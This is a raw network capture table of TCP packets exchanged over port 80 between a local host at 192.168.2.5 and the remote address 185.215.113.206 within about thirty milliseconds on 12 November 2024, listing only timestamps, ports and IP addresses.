Nov 12, 2024 08:30:16.183614016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.183641911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.184303045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.184314966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.184325933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.184338093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.184353113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.184353113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.184365988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.184391975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.185049057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185061932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185072899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185087919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185108900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.185108900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.185137033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.185801029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185813904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185822964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185836077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.185843945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.185856104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.185856104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.185889006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.186568022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.186580896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.186589956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.186603069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.186614037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.186614990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.186638117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.186638117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.186649084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.187566996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.187578917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.187589884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.187602997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.187614918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.187635899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.188525915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.188539982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.188549995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.188560009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.188570976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.188579082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.188579082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.188581944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.188601017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.188625097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.189431906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.189445019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.189455032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.189469099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.189476967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.189491987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.189516068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.190272093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.190284967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.190294981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.190305948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.190318108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.190320015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.190341949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.190354109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191107035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191118956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191128016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191138983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191154003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191154003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191158056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191165924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191168070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191178083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191184998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191211939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191229105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191926956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191939116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191950083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191962004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.191988945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.191999912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.192720890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.192734003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.192744970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.192755938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.192765951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.192781925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.192814112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.193550110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.193563938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.193572998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.193588972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.193598032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.193598986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.193625927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.193644047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.194339037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.194350958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.194363117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.194375992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.194387913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.194387913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.194400072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.194431067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.195329905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.195343018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.195353985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.195367098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.195379019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.195385933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.195390940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.195396900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.195416927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.195446014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.196314096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.196326971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.196336985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.196350098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.196361065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.196366072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.196376085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.196387053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.196404934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.196427107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.197206020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.197218895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.197231054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.197243929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.197251081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.197256088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.197273970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.197298050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.198034048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.198082924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.198257923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.198270082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.198286057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.198297977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.198308945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.198317051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.198321104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.198335886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.198357105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.199141979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.199155092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.199165106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.199177980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.199189901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.199194908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.199201107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.199234009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.200032949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200045109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200054884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200062037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200067043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200078964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200086117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.200112104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.200134993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.200884104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200901985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200911999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200925112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200937033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.200942039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.200959921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.200984001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.201710939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.201723099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.201734066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.201755047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.201764107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.201766968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.201778889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.201783895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.201807976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.201864004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.202537060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.202550888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.202560902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.202574015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.202585936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.202594042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.202598095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.202619076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.202630997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.203349113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.203361034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.203372002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.203385115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.203397036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.203401089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.203408957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.203408957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.203439951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.203463078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.204334974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.204348087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.204358101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.204374075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.204385996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.204399109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.204402924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.204411983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.204430103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.204437017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.204463959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.205248117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205260038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205271959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205306053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.205424070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.205734015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205754042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205765963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205780029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205792904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205796957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.205806971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.205807924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205821991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.205847979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.205866098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.206671000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.206684113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.206695080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.206708908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.206717014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.206723928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.206727982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.206733942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.206748962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.206775904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.207549095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.207561970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.207571983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.207583904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.207596064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.207606077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.207607985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.207612991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.207633972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.207659006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.208417892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.208431005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.208441973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.208456039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.208467960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.208467960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.208482981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.208496094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.208498955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.208504915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.208533049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.209279060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.209290981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.209309101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.209320068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.209327936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.209331989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.209345102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.209352016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.209357023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.209372997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.209383965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.210160971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.210172892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.210184097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.210196972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.210208893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.210222006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.210235119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.210235119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.210264921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.210992098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211004972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211015940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211030960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211038113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.211044073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211055040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.211056948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211071014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211082935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.211083889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211101055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.211122990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.211884975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211898088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.211939096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.212133884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212182045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.212208986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212220907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212230921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212244034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212253094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.212255955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212264061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.212268114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212280989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.212296009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.212308884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.213126898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213140965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213151932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213165045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213176012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213182926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.213190079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213191986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.213201046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213213921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.213217974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.213243008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.213252068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.214032888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214045048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214056015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214068890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214081049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214082003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.214088917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.214097023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214111090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214123964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214127064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.214134932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.214162111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.214937925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214948893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214961052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214972973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.214988947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:16.214991093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:16.215003967 CET	80	49704	185.215.113.206	192.168.2.5
